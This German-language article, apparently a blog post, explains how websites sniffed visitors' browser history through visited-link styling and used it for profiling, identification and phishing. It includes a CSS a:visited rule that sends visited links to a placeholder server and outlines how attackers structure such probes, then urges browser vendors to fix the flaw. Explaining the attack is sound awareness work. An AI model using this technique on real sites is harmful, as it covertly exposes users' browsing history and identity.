Stellen Sie sich vor Sie besuchen eine Webseite. Glauben Sie das Ihr Internetbrowser Ihre Privatsphäre schützt, d.h. dass der Betreiber der besuchten Webseite nichts über Sie weiß außer Ihrer IP? Was wäre, wenn dem nicht so wäre? Was wäre wenn der Webseitenbetreiber weiß, ob sie ein Mann oder eine Frau sind, oder ob Sie Reich sind oder arm. Mit solchen Daten könnte er beispielsweise personalisierte Werbung anzeigen. Im schlimmsten Fall könnte er die Daten nutzen um einen Phishing-Angriff zu starten. Wenn er beispielsweise wüsste, bei welcher Online-Bank Sie sind könnte er Ihnen eine Kopie Ihrer Bankenseite anzeigen und Sie zur eingabe Ihrer PIN/TAN auffordern. Aber wie lassen sich solche privaten Informationen gewinnen?

Wo liegt der Schwachpunkt?

Dieses Szenario ist aktuell wirklich möglich! Das Problem liegt liegt in einem Feature das alle modernen Webbrowser aufweisen: bereits besuchte Urls werden andersfarbig dargstellt als die sonstigen Links. Mithilfe von JavaScript lassen sich diese andersfarbigen Links ermitteln. Die so gewonnen Daten können entweder direkt verwendet werden oder werden für eine spätere Verwendung an den Webserver übertragen. Die Übertragung erfolgt in der Regel mittels Ajax. Vor einiger Zeit wurde der Angriff weiterentwickelt, indem dem besuchten Link per JavaScript ein CSS-Style zugeordnet wird, dass als Background-Image eine Datei auf dem Server abruft. Beim Abruf der Datei wird eine ID mit dem Link mitgesendet.

a:visited{background-image:url(xxx.de/besuchte_seite.php?id=XXX);}

Wie läuft ein Angriff beim Browser History Hack ab?

Um den Browser History Hack zu starten braucht der Angreifer nur ein JavaScript-Code auf seiner Webseite platzieren. Jeder Besucher der Webseite daraufhin besucht ist angreifbar. Der JavaScript-Code erstellt für den Menschen unsichtbar eine Reihe von Links und überprüft anschließend, in welcher Farbe diese dargestellt werden würden. Die Besuchten Links werden dann an den Webserver übertragen.

Das Problem für den Angreifer liegt darin, dass er nicht einfach fragen kann: “Auf welchen Seiten warst du schon?”. Stattdessen muss er raten auf welchen Seiten das Opfer möglicherweise gewesen sein könnte: “Warst du schon bei google.de?”. Er kann entweder eine Domain abfragen (“Warst du schon bei wikipedia.de ?”) oder ein Dokument innerhalb der Domain (“Warst du schon bei wikipedia.de/artikel.html ?”) Der Angreifer hat nun mehrere Möglichkeiten systematisch an Informationen über den Nutzer zu kommen:

Social Network

Der Angreifer fragt im ersten Schritt alle aktuellen Social-Networks ab: (zb. xing, facebook, usw.). Stellt sich herraus, dass der Nutzer beispielsweise bei Xing ist läd der Angreifer dynamisch ein weiteres JavaScript-Code nach, dass auf Xing spezialisiert ist. Darin werden alle Gruppen-Unterseiten abgefragt. Die Urls der Gruppen werden durch einen Bot im vorhinein ermittelt. Xing hat aktuell zirka 5000 Gruppen. Nachdem der Angreifer weiß in welchen Gruppen das Opfer angemeldet ist kann er sich meist schon ein sehr genaues Bild vom Opfer machen (z.B. das Opfer ist in der Gruppe “Google-Affiliates” => vermutlich ein Affiliate-Betreiber). Die Information über die Gruppenzugehörigkeit ist sogar noch sehr viel Gefährlicher. Die Zugehörigkeit zu einer Menge von Gruppen ist ein nahezu perfekter digitaler Fingerabdruck, der i.a. nur auf einige wenige Menschen zutrifft. D.h. im Extremfall kann mit dem Browser History Hack sogar die genaue Identität des Opfers ermittelt werden.

Populäre Seiten

Der Angreifer ermittelt vor dem Begin des eigentlichen Angriffs die Urls der 1000 Seiten mit den meisten Besuchern in Deutschland (z.B. mittels Alexa.com). Diese werden dann beim Opfer überprüft. Weil die Seiten gerade so populär sind, ist die Wahrscheinlichkeit, dass das Opfer auf einigen davon war ziemlich groß. Aus den besuchten Seiten lässt sich dann i.a. sehr einfach ein Nutzerprofil erstellen, oder wie im vorherigen Beispiel dynamisch JavaScript-Code nachladen, der die besuchten Seiten genauer beim Opfer abfragt.

Zusammenfassung

Der Browser History Hack ist ein mächtiger Angriff, wenn er in die falschen Hände gelangt. Das Opfer bemerkt in der Regel den Angriff gar nicht. Die so gewonnen Daten können für noch mächtigere Folgeangriffe wie Phishing verwendet werden. Die Browser-Entwickler sollten sich schnellstmöglich an die Beseitigung des Problems machen (z.B. indem pro Seite nur XXX besuchte Links farbig dargestellt werden, oder JavaScript den Zugriff auf Style-Elemente verboten werden, die vorher mit JavaScript angelegt wurden.)